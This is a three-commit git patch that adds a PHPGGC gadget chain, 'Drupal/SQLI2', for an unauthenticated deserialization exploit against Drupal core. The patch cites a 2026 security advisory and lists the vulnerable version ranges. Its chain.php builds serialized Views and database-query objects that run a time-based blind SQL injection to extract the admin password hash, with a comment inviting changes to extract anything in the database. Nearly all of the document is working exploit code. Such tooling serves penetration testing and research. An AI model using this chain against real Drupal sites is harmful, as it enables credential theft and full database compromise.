From 470f9355372df9e4750dad9c0a8a5449a9b0b4a5 Mon Sep 17 00:00:00 2001 From: HSw109 Date: Thu, 23 Apr 2026 15:26:33 +0700 Subject: [PATCH 1/3] Add unauthenticated SQLI gadget type for Drupal/SQLI2 --- .../SQLI/MySQLUnauthenticatedSQLI.php | 21 +++++++++++++++++++ 1 file changed, 21 insertions(+) create mode 100644 lib/PHPGGC/GadgetChain/SQLI/MySQLUnauthenticatedSQLI.php diff --git a/lib/PHPGGC/GadgetChain/SQLI/MySQLUnauthenticatedSQLI.php b/lib/PHPGGC/GadgetChain/SQLI/MySQLUnauthenticatedSQLI.php new file mode 100644 index 00000000..7db22ec0 --- /dev/null +++ b/lib/PHPGGC/GadgetChain/SQLI/MySQLUnauthenticatedSQLI.php @@ -0,0 +1,21 @@ + Date: Thu, 23 Apr 2026 15:27:37 +0700 Subject: [PATCH 2/3] Add unauthenticated SQLI gadget type for Drupal/SQLI2 --- gadgetchains/Drupal/SQLI/2/chain.php | 65 ++++++++++++++++++++++++++++ 1 file changed, 65 insertions(+) create mode 100644 gadgetchains/Drupal/SQLI/2/chain.php diff --git a/gadgetchains/Drupal/SQLI/2/chain.php b/gadgetchains/Drupal/SQLI/2/chain.php new file mode 100644 index 00000000..f3fc495a --- /dev/null +++ b/gadgetchains/Drupal/SQLI/2/chain.php @@ -0,0 +1,65 @@ += 8.0.0 < 10.5.9 || >= 10.6.0 < 10.6.7 || >= 11.0.0 < 11.2.11 || >= 11.3.0 < 11.3.7'; + public static $vector = '__wakeup'; + public static $author = 'hsw109'; + public static $information = 'Advisory: https://www.drupal.org/sa-core-2026-002 + Time-based SQLI to directly extract anything in database, change the $expression query below on purpose'; + + public function generate(array $parameters) + { + + $condition = new \Drupal\Core\Database\Query\Condition([ + '#conjunction' => 'AND', + [ + 'field' => 'uid', + 'value' => 1, + 'operator' => '=', + ], + ]); + + $having = new \Drupal\Core\Database\Query\Condition([ + '#conjunction' => 'AND', + [ + 'field' => 'uid', + 'value' => 1, + 'operator' => '=', + ], + ]); + $having->goBlank(); + + $selectObj = new \Drupal\Core\Database\Query\Select( + $condition, + $having, + [ + 'u' => [ + 'table' => 'users_field_data', + 'alias' => 'u', + 'all_fields' => true, + ] + ], + [ + 'e' => [ + 'expression' => 'IF(ASCII(SUBSTRING((SELECT pass FROM {users_field_data} WHERE uid=1 LIMIT 1),1, 1)) > 0 , SLEEP(5), 0)', + 'alias' => 'e', + 'arguments' => [] + ] + ] + + ); + return ( + new \Drupal\views\ViewExecutable( + new \Drupal\views\Plugin\views\query\Sql(), + new \Drupal\views\Plugin\views\pager\None(), + [ + 'query' => $selectObj, + 'count_query' => $selectObj, + ] + ) + ); + } +} From c5a92425f88399bc303d5d7720395819313b1146 Mon Sep 17 00:00:00 2001 From: HSw109 Date: Thu, 23 Apr 2026 15:28:06 +0700 Subject: [PATCH 3/3] Drupal SQLI2 --- gadgetchains/Drupal/SQLI/2/gadgets.php | 84 ++++++++++++++++++++++++++ 1 file changed, 84 insertions(+) create mode 100644 gadgetchains/Drupal/SQLI/2/gadgets.php diff --git a/gadgetchains/Drupal/SQLI/2/gadgets.php b/gadgetchains/Drupal/SQLI/2/gadgets.php new file mode 100644 index 00000000..61a07f8d --- /dev/null +++ b/gadgetchains/Drupal/SQLI/2/gadgets.php @@ -0,0 +1,84 @@ + true, + 'storage' => 'content', + 'current_display' => 'default', + 'args' => [], + 'current_page' => '', + 'exposed_input' => [], + 'exposed_data' => [], + 'exposed_raw_input' => [], + 'dom_id' => '', + ]; + public $built = true; + public $live_preview = true; + public $query; + public $pager; + public $build_info; + + function __construct($query, $pager, $build_info) { + $this->query = $query; + $this->pager = $pager; + $this->build_info = $build_info; + } + } +} + + +namespace Drupal\views\Plugin\views\pager { + class None { + } +} + +namespace Drupal\views\Plugin\views\query { + class Sql { + private $options = [ + 'disable_sql_rewrite' => 'TRUE' + ]; + } +} + +namespace Drupal\Core\Database\Query { + class Select { + private $connectionTarget = 'default'; + private $connectionKey = 'default'; + private $queryOptions = []; + private $uniqueIdentifier; + private $nextPlaceholder = 0; + private $condition; + private $having; + private $union = []; + private $tables; + private $fields = []; + private $expressions; + + function __construct($condition, $having, $tables, $expressions){ + $this->uniqueIdentifier = uniqid('', true); + $this->condition = $condition; + $this->having = $having; + $this->tables = $tables; + $this->expressions= $expressions; + } + } + + class Condition { + + private $conditions; + private $arguments = []; + private $changed = true; + private $queryPlaceholderIdentifier = null; + private $stringVersion = null; + + public function __construct($conditions) { + $this->conditions = $conditions; + } + + public function goBlank() { + unset($this->arguments, $this->changed, $this->queryPlaceholderIdentifier, $this->stringVersion); + } + } + +} \ No newline at end of file